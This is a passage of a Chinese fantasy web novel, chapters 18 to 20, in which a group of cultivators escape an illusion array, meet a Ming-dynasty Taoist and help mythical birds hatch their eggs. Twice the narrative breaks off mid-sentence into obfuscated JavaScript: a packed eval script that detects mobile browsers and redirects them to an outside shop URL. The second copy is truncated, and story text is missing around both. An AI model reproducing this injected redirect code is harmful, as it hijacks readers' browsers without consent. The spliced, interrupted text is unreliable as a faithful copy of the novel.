萧衍伸手托起颜清辞的后脑勺,让她贴得更近。 颜清辞推开他,轻喘着说:“功德……我要功德。” 他这才明白她主动献吻的目的,笑着再次贴了上去。 他终究还是没有加深这个吻,只在最后,用舌尖轻轻扫过她的嘴唇。 即便只是这样,颜清辞的脸也已经一路红到了耳根。 “颜作家害羞了。” 萧衍笑得像朵花,方才伤感落泪的样子早已荡然无存。 他轻轻摸了摸她的头,说,“别担心,他们都没看见。” 二人刚渡完功德,莫君离便从梦魇中醒了,他用力猛吸一口气,睁开了眼睛。 萧衍踢了一脚仍在地上流着口水酣睡的招财,它应该还在上一个美梦之中,多半是梦见什么好吃的东西。 它猛然惊醒,发现是萧衍扰了自己的清梦,懊恼地朝他龇了龇牙。 “得想想办法,不然只会不断被拉入梦境。” 萧衍没理它,对莫君离和颜清辞说。 “而且所有幻象都是消耗我们自己的灵力造出来的,一直在这里面,早晚功德会耗尽的。” 颜清辞补充道。 莫君离若有所思,沉吟片刻才说:“我刚才在幻境里,听到地面下,似乎有什么东西在有节奏地律动,就好像……心脏。” 三人对了个眼神,纷纷蹲下,把脸贴到地面仔细聆听起来。 “就是这里!你们听!” 莫君离在一个位置朝另外两人招手。 颜清辞和萧衍过去一听,果然地下像有一颗心脏在砰砰跳动。 萧衍抽出匕首,朝着那搏动的位置一刀扎了下去。鲜血从地面喷涌而出,地面剧烈摇撼起来。 “阵破了!” 莫君离看着方才一直笼在四周的浓雾渐渐散去,兴奋地呼喊道。 结阵的那几棵槐树仿佛活了,它们从地面深处抽出自己的根系,一时尘土飞扬。 那些根系就像八爪鱼的脚,让巨树自由移动起来。 树灵在树干上现出丑陋的脸,朝着三人围攻过来。 那几棵树挥动枝干,缠住他们的手脚。他们反复挣脱,却又反复被缠住。 罗晟也挥舞着无妄加入了战斗,他一棍下去,打得其中一棵槐树直接松开了原本紧紧缠着颜清辞的枝条,那树灵痛苦地嚎叫一声,吼声响彻山谷。 一阵地动山摇,寂静无声的森林仿佛一瞬间活了。周围的树也纷纷破土而出,朝他们缓缓围了上来。 “山中的树灵全被唤醒了。” 莫君离的语气充满担忧。 四人一边应付着不断纠缠的树灵,一边焦急想着对策。 萧衍趁着从一棵树上挣脱开来的空隙,捻动手指,随着他指尖一挑,地面的泥土像无数只手伸了出来,用力抓住那些树的根。 方才嚎叫的那棵树灵露出凶恶的神色,嘴中默默念起咒文,只见其他树疯狂地挣扎起来,试图从抓着他们的泥土中脱出。 18.仙室迷踪(四) 山中树木实在数量庞大,眼看萧衍就快支持不住。 “擒贼先擒王,先杀了那个树灵。” 莫君离说着便朝着那棵念咒的树冲了上去。 他在空中画弧,手中飞出无数根细线将那树的根根枝条牢牢牵制住,罗晟腾空跃起,无妄直向树灵的面门打去。 那树灵吃了一棍,痛苦地呻吟起来,它显然被激怒了,一股灵力从树干中爆发出来。 莫君离手里的细线一下子被挣断了几十根。 然而这已是强弩之末,那树灵的力量明显已经快耗尽,枝头的树叶快速枯萎凋落,枝干也肉眼可见地干枯萎缩起来。 罗晟再次举起无妄,预备给它最后的致命一击。 “罗队长,稍等!” 颜清辞大喝一声。 她走到那棵树面前,伸手抚摸了一下树干侧面一个不起眼的角落,一张符咒现了出来。 “你是被人控制的吗?” 她揭下那张符咒,问那树灵。 符咒被揭掉的瞬间,那树灵的表情骤然松弛了下来。它眨了眨眼睛,表示肯定颜清辞的猜测。 一时间,山谷再一次恢复了平静,所有树木都停止了挣扎,根系乖乖扎回了土里。 颜清辞又在结阵的那几棵树身上找到了另外几张符咒。她挥舞着符纸说:“是有人控制了这些树结的迷心阵。” 白泽低吼了一声,朝来的方向晃了晃脑袋。 “它叫我们回洞穴去看看。” 莫君离说。 跟着白泽回到洞穴,大石上的几人果然已经苏醒过来。 见他们来了,其中一名师弟兴奋地对莫君离叫道:“你是莫师哥吧!” 莫君离点点头,问:“几位师弟师妹都没事吧?” 另一位师妹忙道:“没事没事,只是不知道怎么就到了这个地方,我们刚才还在寻思呢。” 莫君离答:“你们误闯了禁地,中了迷阵,是神兽白泽将你们带到这里,给你们输功德续命,你们才能撑到我们来。” 几名年轻人怯怯看了一眼跟在最后的白泽,多少还是有些害怕。 这时,那名道士模样的人眼中噙泪,激动地朝白泽迎了过来。 “白泽兄!是你救了我!” 他与那神兽转眼就抱在了一起,那白泽甚至还用脑袋在他怀里蹭了蹭,足像只撒娇的大猫。 “那个……这位道友,其实我们也出了不少力的。” 萧衍在一旁抱着胳膊说。 那道士连忙对五人组作了个揖,恭恭敬敬地说:“几位仙友,在下祝浔,救命之恩,无以为报。” 萧衍微微一笑道:“祝兄可知道如今何年何月啊?” 祝浔犹豫了一下,试探着问:“看几位的打扮,似是过了许久,实在猜不出来。” “祝兄哪年生人啊?还记不记得,你来到此处时,又是什么时候?” “在下正德2年生人,来到这仙室山,是嘉靖22年。” “哟,巧了,在下正德5年生人。只不过如今早已不是大明的天下,连皇帝也早没有了,算算得有几百年了吧……” 萧衍一摆手,说,“嗨,一时半会儿说不清,回头祝兄你再慢慢补课吧。” 一旁的颜清辞忍不住问:“祝先生,你是怎么来到这个地方的? “先生?” 祝浔一脸狐疑,“我不是教书先生,只是个道士。” 萧越笑道:“祝兄,如今这个年代,称男子都叫先生,你别误会。” “哦……原来如此,那我真真算是个古人啦,孤陋寡闻,还请姑娘不要见怪。” “啊……没关系……” 被他这么郑重其事地道了歉,颜清辞反倒觉得很不好意思。 祝浔向众人娓娓道来他误闯此地的缘由:“那一年,我辞去宫中的职务,心灰意冷来到这仙室山,原是一心求死,都已经走到悬崖边上,自封灵脉准备跳下去,这时遇见了白泽兄。” 他一脸感激地望向白泽,那神兽此时也无比温顺地趴在地上听他忆着往事。 “白泽兄将我救了上来,我想这应是天意,便断了求死的念头,心想,若是有白泽兄相伴,在这灵山深处归隐一世也是好的。” “后来你便中了迷阵?” 萧衍问。 “嗯,实在没想到,这一睡便睡了这么久。” 祝浔不无感慨道。 林朔这会儿尽管已经虚弱到了极点,还是强撑着问:“嘉靖22年……也就是说,壬寅宫变的时候,你正在宫里当差?” 祝浔听到这个问题,脸色立即变了。他有些动容地说:“这位仙友也知道壬寅宫变的事?” 林朔说:“这事闹得沸沸扬扬,谁人不知。” 那几个小辈在一边乖乖听着,方才跟莫君离打招呼的那位师弟轻声问身旁的女孩:“池师姐,壬寅宫变是什么意思?” 那个叫池敏佳的女孩摇摇头。 颜清辞说:“壬寅宫变就是嘉靖21年时发生的宫女刺杀皇帝的事件,十几名宫女密谋,差点就把嘉靖皇帝勒死了。” “啊,有这样的事!她们为什么要杀皇帝?” 曲敏佳惊呼。 颜清辞看了一眼祝浔,小心翼翼地说:“反正,史书上记载的是,嘉靖皇帝沉迷修道,为了炼制丹药凌虐宫人,宫女们不堪忍受他的暴戾,就策划了这次谋杀。” 祝浔露出悲戚的神色,长叹一口气,道:“哎,史书说得不错,皇帝暴虐,天怒人怨,但我们这些人,又何尝不是帮凶呢……” 萧衍问:“你在陶老道底手下做事?” “是,陶仲文是我师父。” 祝浔黯然道,“宫变之后,皇帝将众宫女悉数凌迟处死,连两名嫔妃也被秘密处决。 自那以后,我深感良心不安,夜夜梦魇,便向师父请辞,离开了紫禁城那个是非之地。” 众人听完祝浔的讲述,陷入了一阵沉默。 嘉靖帝受妖道蛊惑,沉迷长生不老之术,甚至不惜牺牲无辜百姓和宫人的身体健康,为他做仙丹的“药引”。 对此倒行逆施之举,满朝文武竟全体失声,反倒是底层宫女挺身而出,为受害之人拉紧了套在皇帝脖颈之上的绳索。 这故事是何等悲壮,却又是极其讽刺。 许久,林朔才又用他那虚弱的声音说:“王侯将相,终归尘土,历史自会有一个公允的评判,祝兄你也不必太过自责了。” 莫君离忽然像是想起了什么,问曲敏佳道:“曲师妹,你是医务室的吧,我这位朋友被血蝙蝠咬了,你身上有没有带止疼药?” 曲敏佳翻了翻身上,还真拿出一盒药片来:“别说还真巧,我正好带了一点,新配方,比布洛芬强百倍,就算是血蝙蝠咬的伤口,应该也有点用。” 林朔吞了两颗药片下去,没过一会儿,脸色便好了许多。 “真的管用。” 他自己也觉得不可思议。 萧衍这时说:“那个……止疼药,也给我两片吧。” 颜清辞不解:“你怎么了?” 只见萧衍解开两颗衬衫扣子,露出肩膀上的一个伤口。 两道深深的齿印周围,血迹微微发黑。由于他穿了一身黑,没人注意到他也遭血蝙蝠咬了。 颜清辞回想了一下,这应该是他替自己挡那一下的时候中招的。 她有些内疚,想再看看伤口,却忍不住看了一眼衣料里若隐若现的胸肌,她假装镇定地说:“林先生都疼成那样了,你也太能忍了吧……” 萧衍接过止疼片吞了下去,平静地说:“还行吧。” 林朔这下倒是有些面上挂不住,连忙说:“别信他,他的忍痛能力是变态级的,真的很疼!” 颜清辞想起朔月那日的事来,能让萧衍疼到坐在地上爬不起来,那到底是怎样的痛感啊! 都说女人生孩子疼,这萧老板生不了孩子,又何尝不是一种浪费。 莫君离看了一眼四名失踪的弟子,忽然问:“江渔眠呢,你们见过他没有?” 四人纷纷摇头,叫曲铭的师弟问:“这个名字……听起来有点熟悉,但想不起来是谁了。” 莫君离道:“他就是如风长老的……那个小儿子。” “啊!他就是那个私生……” 叫李梓熙的女孩刚要说出莫君离极力避免使用的那个词,看见池敏佳的眼色,立马打住。 池敏佳摇摇头:“我们其实都是单独来到这个地方的,在师兄你们来之前,我们彼此都没碰过头。” 莫君离思索了一下,说:“此地不宜久留,我还是先送你们出去,回头再来找江师弟吧。” 他掏出手机,拨通了电话。 “喂,师父,你起了吗?” “师弟师妹我找到了……其实还差一个,但我想先送他们回来,你知道结界怎么出去吗?” “师父?师父?……” 莫君离像是听不清对方的回答似的,皱起眉头。 “开免提。” 萧衍说。 莫君离打开免提,电话那头信号断断续续,过了一会儿终于传来虞掌门懒洋洋的声音。 “那个结界啊……当然轻易是出不来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113282|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们还是得想办法找到裂口……” “那裂口在哪里呢?” 莫君离眉头皱得更紧了。 “这个嘛……我也不清楚……” “师父……” “君离啊,你别担心,为师早就算过,你那几个师弟师妹一定没事,这会儿又刚算了一卦,你们一定能顺利找到裂口的,所以嘛……别着急,仔细找找……” “师父,我手机有定位,你要不找技术科的人查查我们的位置。” “哎哟,你这傻孩子,结界里面,凡人的卫星定位当然不好使了,况且就算找到了你们在哪里,进不去结界也没用啊。” 莫君离揉着眼睛使劲摇头,连萧衍都对他投来同情的眼神。 虞掌门在那头打了个哈欠,说:“哎哟不行了,这才五点多,君离啊,为师得再睡一会儿,师弟师妹就教给你了,好好照顾他们啊。” 虞掌门就这样挂掉了电话,剩莫君离一个人面如土色。 祝浔全程盯着莫君离手里拿着的那块黑色板砖,一脸的不可思议。 林朔看出了他心中所想,拍了拍他的肩膀笑道:“这东西叫手机,可以同远在千里之外的人通话。” 祝浔用力点了点头,说:“哦……那你们这个时代的人,就不用写信了?” “也写信,手机上就可以发,不用遣人送。” 林朔道。 “那你们这‘手机’很是厉害。” “等你出去了,给你也弄一台。” 萧衍说。 祝浔看了一眼白泽,微微笑道:“我就不出去了,当年我就曾许诺,要与白泽兄在此共度余生,况且外边的世道早已天翻地覆,我这老古董可适应不了。” 白泽从地上起身,对着他低吼了两声。 他走过去,摸了摸白泽的额头,说:“有你陪伴,我不寂寞,况且,我来此山中,本就为了洗清俗世中犯下的罪孽。” 莫君离面露愁容:“可是,我们要怎么出去呢?” 他打开手机地图,这后山果然没有任何地址信息,连显示他们目前位置的坐标点,也像抽了风一样在一片空白中来回横跳。 颜清辞想了想,问那四名师弟师妹:“你们都是在雾气里迷了路,被带到结界里来的吗?” 四人纷纷点头。 “既然是这样,那股灵雾很有可能还会去外面捞人,如果我们跟着雾气,也许就能找到结界裂口。” “颜作家说得有道理。” 林朔附和道,“不过,怎样才能找到那团神出鬼没的雾呢?” 白泽低吼了几声,莫君离说:“白泽说它知道在哪里能找到灵雾。” 白泽带着他们走出洞穴,朝着与槐树林相反的方向行进。 走了好一会儿,天光渐明,在旭日射进密林的微光下,灵雾带上了一层透亮的光晕。 白泽用鼻子指了指萦绕在前方的浓雾,跟祝浔交换了一个眼神。 祝浔郑重地向五人组再次作揖,说:“就送诸位到这里了,几位仙友的救命之恩,祝某无以为报。” 他从袖中掏出一根竹笛来,递给林朔,说:“这位小兄弟,吹奏此笛,可驾驭鸟兽、操控人心。我相信你定不会用它作恶,便将它赠予你,就当是向诸位聊表谢意。” 林朔接过那支笛子,连忙拱手致谢。 一行人望着祝浔和白泽的背影远去,一人一兽,却是这世间难得的知己至交。 他们在灵雾聚集之处等到烈日当空之时,那片雾终于开始移动了。 “跟上!” 萧衍的语气中带着一丝兴奋,急切地催促大家起身追赶。 实际上,这灵雾移动的速度极慢,他们走了很久,感觉仍在树林里打转。 颜清辞忽然感到面前一阵阵风袭来,内心升腾起一股莫名的不安。她拉住走在最前面的萧衍,小声说: “萧老板,我感觉有点不对……” 萧衍停下脚步,警觉地望了望前方。 叫谭云和曲铭的两名小师弟此时已经走到了他们前面,几乎在萧衍喊出“别再走了”的同时,两人尖叫一声,从面前的雾气中消失了。 颜清辞眼疾手快,当即左右手各抛出一根灵力索来,奈何两人的体重远远超过她的,绳索刚刚套住目标,她就被拉出去几米远。 萧衍从身后圈住她,抓着她的手臂,助她往回拽那两根灵力索,终于将两人拉了回来。 那两个大男孩坐在地上,脸色煞白,浑身不住颤抖。 谭云指着前方,惊恐地说:“悬……悬崖!” 19.仙室迷踪(五) 听到“悬崖”二字,一行人脸上都露出心有余悸的表情。 他们站在原地一直等到灵雾飘走,面前不到十米处果然现出万丈悬崖。 颜清辞感觉到后脑勺传来的温度,才发现自己几乎被萧衍拢在怀里。 她尴尬地往前走了几步,假装查看起悬崖周围的情况来。 “你们看,这有一台手机!” 众人朝她围过来,纷纷去看那台屏幕已经被摔得一片狼藉的旧款手机。 颜清辞连续长摁了几下开机键,毫无反应。 “没电了……” 叫曲铭的师弟小声提醒道。 “给我看看。” 萧衍说着拿过了那台手机,在手掌上放了一会儿,屏幕竟然亮了。 “哟,萧老板出门都不用带充电宝了。” 颜清辞惊叹道。 “不行,电压不对,老这么干电池一个月就废了。” 萧衍摇摇头。 碎裂的屏幕上显示出一张风景照,萧衍打开相册翻了翻,将屏幕举到莫君离面前问:“这人是你们御风门的,你认不认识?” 自拍的相片里是一个穿着蓝白配色的男孩,生得眉清目秀。 “他就是江渔眠,我去蔺如风长老家吃饭时见过他。” 莫君离肯定地说。 萧衍看了一眼悬崖下面的万丈深渊,说:“看这情形,怕是凶多吉少了,如果他也是被灵雾带来这里的话……” 他没说下去,但所有人都明白了他的意思。 骤然从远处传来一阵异响,众人抬头朝天堑那头望去,只见好几片片螺旋状的云团从空中呼啸而来。 “跑!” 萧衍大喝一声。 云团很快追到了他们身后,里面卷着暴风骤雨。那几个孩子跑得慢,龙卷风贴着他们的衣角,很快头上身上湿了一片。 李梓熙和谭云法力最低,跑了不一会儿便慢了下来,双双被卷入了云团中。 莫君离双手画弧,一团龙卷风中间瞬间裂开一道口子,谭云从半空掉落到地上,莫君离飞快将他拉起。 “有没有摔伤?” 谭云摇摇头:“没……没事,莫师哥。” “再坚持一下。” 莫君离拍拍他的后背,谭云坚定地点点头,奋力跑起来。 另一边,离得最近的罗晟一回身,直接将手伸进云团中,生生将已经飞到半空惊叫着的李梓熙拽了出来。 小姑娘花容失色,整个人呆了一般。 罗晟叹了口气,干脆将她背到肩上,继续往前跑。 跑了好一阵,面前出现了一片低洼地带。 招财跑在最前面,它回过头,指着前方的缓坡朝颜清辞吱吱叫了两声。 “到山谷里躲一躲!” 颜清辞对大家喊道。 他们沿着山坡往下跑入山谷,此处海拔较高,谷中满种参天的杉树。 呼啸的风团从头顶掠过,一行人躲在杉树林中,总算逃过一劫。 罗晟将李梓熙放到地下,小姑娘眼波流转,眉目含情,娇滴滴地说了一声“谢谢”。 罗晟“嗯”了一声,看都没再看人家一眼。 沿着杉树林继续走,来到一片开阔草地,草地中间有一小湖,湖水碧蓝,湖上水波粼粼。 此时阳光和暖,这山谷之中却又不似外边那么炎热,令人很是舒爽。 萧衍伸了个懒腰,说:“这地方不错,不如就在这里休整一下吧。” 跑了一路,所有人都已然疲惫不堪,自是点头称好。 招财这会儿更是直接在草地上打了几个滚,露出白肚皮躺了下去。 颜清辞到湖边洗了一把脸,萧衍也跟了过来,有样学样。 颜清辞转过头,只见他头发上挂着晶莹的水珠,眼睛像被水洗过的黑色宝石,也是亮晶晶的。 她忽然想起之前在迷心阵中看见的梦境,梦中那张脸和眼前的重叠到一起。 她的心狂跳起来,气血上涌,感觉脸颊微微发烫。 “这么看我,颜作家不是被我的帅气迷住了吧?” 得,这一开口,颜清辞立马清醒。 “没有,倒是被你的自恋惊呆了。” 颜清辞起身抹了抹脸。 萧衍从口袋里掏出一包纸巾来,抽出一张,递到她手里,笑着说: “颜作家你这么漂亮的一张脸,好歹也要仔细擦一擦。” 颜清辞接过纸巾,这四层超柔原生木浆的高级货,倒是很配萧衍浮夸的气质。 “我跟你不一样,我不靠脸吃饭。” 颜清辞揶揄道。 萧衍咯咯笑了,说:“那我这张脸,能在颜作家这里讨口饭吃吗?” “呵呵,不瞒你说,萧老板,我做饭可难吃了,你要是不怕吃出什么问题呢,大可以来挑战一下。” 他们说话间,头顶忽然传来两声刺耳的鸟鸣,尾音尖锐异常,宛若婴儿的啼哭。 抬头一看,两只比熊罴还大的巨鸟在上空盘旋。 这种鸟通体遍布红褐色羽毛,头顶长着一对墨色犄角,眉心一簇朱红明艳如烈火。 最神奇的,是这鸟有一条长长的尾巴,形似兽尾,却又遍附鸟羽。 “这是……蛊雕?” 颜清辞睁大了眼睛,“我还以为是神话里虚构的呢。” 莫君离说:“是蛊雕,我听师父说过,仙室山确实有这种神鸟出没。” “你们这山里还真热闹,这鸟吃人么?” 萧衍问。 “你觉得呢……” 莫君离话音未落,那两头巨鸟已然朝他们俯冲下来。 萧衍、罗晟和莫君离朝着巨鸟迎了上去,颜清辞和林朔则护着几名小辈躲到了一块大石后面。 无妄与更大的那头鸟的鸟爪相接,发出金属相撞的巨响。 那鸟利爪一钩,试图连无妄带罗晟一起带走,罗晟却稳稳站定,挥动无妄,反倒将那鸟甩得在空中转了两圈。 那鸟尖叫一声,一低头,如箭矢般锋利的鸟喙朝罗晟啄去。 莫君离抛出一根灵力索,套住它的脖子,那鸟不得不松开鸟爪,来解那脖颈上的禁锢。 罗晟则看准空隙,挥棍朝它背上击去。 而巨鸟天生神力,它轻易一扯便挣断了莫君离的灵力索,转头又向罗啄去…… 二人一鸟就这样开始了拉锯。 萧衍挥动手臂,较小的那头鸟的翅膀周围升起气流,它失了平衡,在空中扑腾了几下,差一点摔到地面。 它的爪子在地上滑行了一段距离,才勉强刹住。 那鸟仰起脖子,愤怒地鸣叫一声,朝着萧衍冲了过去。 他一指地面,草地中长处无数藤蔓,将那鸟牢牢缠住。 巨鸟剧烈挣扎,藤蔓持续收紧,将它绑了个严严实实。它甩出巨尾,坚硬的羽毛像一把把刀子飞来。 萧衍抽出匕首一挡,匕首的刀刃与蛊雕的羽毛擦出点点火花。 两头蛊雕这时对着彼此轻呼了几声,像是在对话。随后,两只鸟同时高仰脖子,对着天空长声鸣叫起来。 这叫声彼此应和,虽也似婴儿啼哭,比之先前,更多了一份韵律。 四名小辈同时捂着脑袋蹲了下来,萧衍控制的藤蔓快速萎缩,莫君离和罗晟也节节败退。 “这叫声能压制灵力,你们快回来!” 林朔大喝一声。 眼看三人就要被二鸟擒住,颜清辞从大石后面冲到他们近前,开启护身咒,挡住蛊雕的利爪。 “退灵散对你没用,这对你也没用?” 萧衍惊道。 “你应该庆幸……我还能……用灵力。” 颜清辞吃力地维持着护盾,掩护他们往掩体后退。 “你撑不了多久。” 萧衍表情严肃起来。 那两头巨鸟疯狂抓挠、啄食着护身咒的屏障,颜清辞额头沁满汗珠。 萧衍回过头,对着林朔大喊:“笛子,说是能控制鸟兽的笛子……试试看。” 林朔如梦初醒,连忙掏出那根竹笛,放到嘴边,犹豫片刻之后,他深吸一口气,对着笛子吹奏了起来。 于是,在场所有人便听到了—— 幼儿园经典曲目:小星星。 林朔的笛声响起的时候,所有人都陷入了沉默。 在略跑调的单薄笛音中,萧衍闭上了眼睛。护盾终于被蛊雕贯穿的瞬间,他一把拉过颜清辞,将她护在身下。 谁知那两只雕听见笛声,竟然真的停止了攻击。它们退到距离他们十多米外的空地,轻轻落下,警觉地望着一行人。 一首《小星星》曲罢,颜清辞从萧衍臂弯里挣脱出来,对着平静下来的蛊雕开启了通灵咒。 “我们为了躲避龙卷风误闯此地,无意冒犯。” 她说。 体型较大的那只蛊雕低鸣了几声。 颜清辞说:“它说,它们许久没有吃人了,如今它们的蛋孵不出来,只有通过吃人,再下新的蛋了。” 萧衍一脸困惑:“什么意思?他们得靠吃人才能下蛋?” 那鸟似乎听懂了他的问题,又低鸣了几声。 颜清辞道:“它说,蛊雕蛋极难孵化,须食人血肉,生出来的蛋孵化概率才高。” 那较小的蛊雕也跟着叫了几声,很明显,这两只巨鸟是雌雄一对儿。 颜清辞继续翻译道:“它们上次生的蛋,已经过了一百多年也还是没孵化成功,我们刚好来了,是时候试试生新蛋了。” 萧衍冷笑一声,说:“想吃我们?那也得看他们有没有这本事,更何况,咱们还有林朔的笛子。” 林朔有些为难地说:“或许是我还没掌握这笛子的使用诀窍,这笛声,至多能让它们平静一会儿,不可能完全驯服它们……” 萧衍揉了揉太阳穴,说:“嗯,你确实没掌握诀窍……” 他看了一眼颜清辞,问:“颜作家可会吹笛子?你还有灵力,会不会更管用一点?” 颜清辞摇摇头,勉强挤出一句:“我不会,我是音痴……” 萧衍低下头,嘴唇几乎要碰上颜清辞的头顶,脸上的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他叹了口气,道:“说起来,这位江师弟也挺可怜的,他妈妈早就不在了,亲生父亲碍于老婆孩子的面子对他也不咸不淡的。 如风长老的大儿子蔺思远在咱们这一辈里地位颇高,平时也没少欺负他。” 谭云这时怯生生地惊呼起来:“啊!……蔺师哥可不是好惹的!” 莫君离问:“你也被他欺负过?” 谭云眼神躲闪,支支吾吾地说:“我……我可不敢这么说……” 莫君离露出一丝无奈的笑容,说:“蔺思远这次和如风长老去听云山之后,就会长期留在那里进修了,你不用害怕。” “听-云-山……” 听到这三个字,萧衍立马露出不屑的表情,“他们自己是招不到弟子么,总叫别人去学习。” “这不就是听云山的传统么,一贯如此。” 林朔笑道。 萧衍不想继续听云山的事,他透过火光,看着远处两头蛊雕在黑夜中炯炯发光的眼睛,转移了话题。 “颜作家,这蛊雕蛋,你准备怎么办?” 颜清辞沉思片刻,答:“我总觉得,蛋孵不出来,是有什么原因的,但我暂时还没想到。” “若是能出去,查查关于蛊雕的古籍就好了。” 莫君离说。 “是啊,众仙门之中,数你们仙室山典籍最多。” 颜清辞说。 林朔问:“毕竟他们有自己的印书局。” “可不是!我当年参加仙考时,大部分教材和试卷,不就是御风书局出的么。” 说到这里,颜清辞忽然灵光一闪,问莫君离道:“说起来,这个御风书局,是不是民国时候就有了?” “是啊,咱们也算是国内第一批现代化印刷厂了。” 莫君离的语气不无骄傲。 颜清辞犹豫了一下,还是说:“那个……我没有别的意思,不过,印刷厂的话,怕是会对环境造成污染吧……” 莫君离看着她的眼睛,一脸困惑。 颜清辞又说:“蛊雕说,大约是一百多年前,它们的蛋就再也孵不出来了,那不就很可能是……印刷厂成立的时候?” 众人此刻都睁大了眼睛,凝神细听起来。 “蛊雕蛋的孵化,须吸收山间的阳光雨露,还得用山中湖水每日浇灌,有没有一种可能,是因为仙室山的水质遭受了污染,才导致蛋孵不出来的?” 莫君离迟疑着说:“可是,御风门上下也都用山中泉水,至今也没出过什么事啊。” “且不说生活用水如今都是经过消毒过滤的,我判断,这蛊雕蛋对水质的要求也许比我们人类更挑剔,哪怕只是极轻微的污染,也会影响孵化。” 莫君离点点头,表示认可颜清辞的推测。 萧衍这时又发出了他一贯的冷嘲热讽:“按你们家这松散的管理风格,印刷厂违规排污,污染水质也不是什么稀奇的事。” “你……” 莫君离想要反驳,竟一时又无言以对。 颜清辞说:“我有一个办法,明天可以试试。” 20.仙室迷踪(六) 当晚,众人便就地歇了一宿。 颜清辞醒来的时候,竟靠在萧衍怀里,他低头笑盈盈看着她,眼睛亮亮的。 依稀记得他昨晚说要替大家放哨。灵力高到底不一样,一宿不睡依然精神矍铄。 “颜作家不再睡一会儿?” 萧衍的语气像在哄孩子。 颜清辞推开他,小声说:“你离我这么近,我可睡不着。” “这确实怪我,长太帅……” 颜清辞伸手捂住了他的嘴:“闭嘴,别吵着大家。” 萧衍顺势吻了吻她的手心,颜清辞飞快抽走了手,一脸错愕地看着他。 萧衍举起食指放在唇上,轻轻“嘘”了一声,一脸坏笑地欣赏着她涨红了脸的窘态。 颜清辞和盘旋在头顶的那对大鸟对视了一眼,又回过头,问萧衍道:“萧老板,有钱么?” 萧衍不解:“要钱干嘛?” “因为穷,你给转点呗。” 萧衍掏出手机,不一会儿,五万块到账,颜清辞抬了抬眉毛,显然态度好了许多。 “谢谢萧老板。” 她走向雌雄蛊雕,问道:“你们能出这结界吗?” 那雄雕点点头。 “我有办法让这蛋孵出来,不过你们得带我下山买点东西。” 两只鸟互相看了看,那雄鸟朝她低鸣几声。 颜清辞说:“我的朋友都还在这里,你们不必担心我会跑。” 它们又对了个眼神,那雌鸟蹲了下来,颜清辞爬上它的背,它一振翅,腾空而去。 颜清辞回来的时候,众人都已经醒了。 她从鸟背上扛下来几箱依云来,干劲十足地说:“是不是水的问题,试试看就知道。” 萧衍笑了:“我以为你要买什么,几箱水的钱颜作家都没有哦。” “那……这么贵的水,我可舍不得买,你……你那个钱,算是行动经费,我先保管着,可不能退的。” 颜清辞紧张得有些结巴起来。 “不退不退,钱又不是什么稀罕东西,颜作家要多少有多少。” 颜清辞将矿泉水小心翼翼地浇灌在乳白色的蛋壳上,那些蛋安安静静地躺在软草编织的巢穴里,仿佛睡着了一般。 两天过去了,没有反应。 五天过去了,仍然毫无动静。 那两头鸟显然焦躁起来,但颜清辞表现得相当淡定,一副成竹在胸的样子。 到了第六天,颜清辞再去给鸟蛋浇水的时候,忽然发出了惊喜的呼声。 “活了活了!” 那雌鸟听见她的欢呼,连忙飞到湖心,只见那些蛋的表壳变得通透起来,内部透出鹅黄色的微光,似在呼吸一般。 那雌鸟仰头啼鸣,雄鸟也飞了过来,两只鸟依偎在一起,交颈相啼。 算是捡回一条命来,所有人的心情都充满喜悦。 当天晚上,几个小辈还在山谷里打到几只野兔。 这么多天以来,一直靠消耗功德,用一口仙气吊着,撑到这会儿,大家终于吃上了一餐饭。 李梓熙啃着烤兔腿,神往地说:“好想吃烤鱼啊,等这回出去,我们请几位前辈下山吃烤鱼去吧!” 曲铭连连点头:“是啊是啊!咱们这里的烤鱼是一绝,哎呀,想起来口水都要流下来了……” 他一边兴奋地说着,一边挠着耳朵后面,莫君离看了他一眼,问:“你是过敏吗?几天了也不见好。” 曲铭红着脸说:“可能是这里的草太长了,没大事。” 这天晚上,所有人都睡了个好觉,连萧衍也睡着了。 第二天一早,他们被一阵刺耳的鸟鸣叫醒。颜清辞第一时间预感到出事了。 那雌雄蛊雕盘旋在他们头顶,怒视着他们,仿佛随时要扑下来。 “怎么了?” 颜清辞问。 她跟着愤怒的雌雕来到湖心的鸟巢,发现里面一片狼藉,鸟蛋碎了一地。 那雌鸟发出一声悲鸣,尖利的鸟喙朝着颜清辞便啄了过来。颜清辞策动灵力一挡,手臂却仍被啄出一个伤口,鲜血沿着手臂流了下来。 “颜清辞!” 岸边传来萧衍的呼声,“跑!” 话音未落,他已经跳进水里。 颜清辞重心不稳,跌倒在巢穴里,眼看着那雌鸟又要扑上来,铁钩一般的鸟爪几乎就要抓到她的脸上。 “等等!还有一只!” 颜清辞奋力一翻身,将怀里抱着的一颗鸟蛋高高举起。 那雌鸟见状,总算停下了攻击。颜清辞小心翼翼地将那鸟蛋放到地上。 几滴血落在那鸟蛋上,只见那蛋的内部透出比先前更明亮的闪光来。 颜清辞惊呼:“我的血……你看见了吗?再信我一次,我一定帮你把这颗蛋孵出来。” 那雌鸟歪着脑袋,低鸣了两声,飞到一边去了。 这时,萧衍已经游到湖心,他爬上草丛,看着满地的碎蛋壳,问:“这是怎么回事?谁干的?” 颜清辞摇摇头:“不清楚。” 她看了一眼浑身湿透的萧衍,说:“你又没有法力,跑过来干什么?” “兴许你需要功德呢?” 他意味深长地笑了笑。 颜清辞明白他什么意思,翻了个白眼说:“不需要。” 萧衍看着那颗蛋,此时已经完全吸收了颜清辞的血液。 “血能加速孵化?” 他掏出匕首,割破自己的手指,几滴血落到蛋壳上,毫无反应。 “看起来,只有我的血可以,你的不行。” 颜清辞抓起他的胳膊,带着他跳回岸边。 “昨晚我们被人偷袭了。” 萧衍对诸人说,“大家都警觉起来,这个山谷,可能不只有我们和那两只鸟在。” 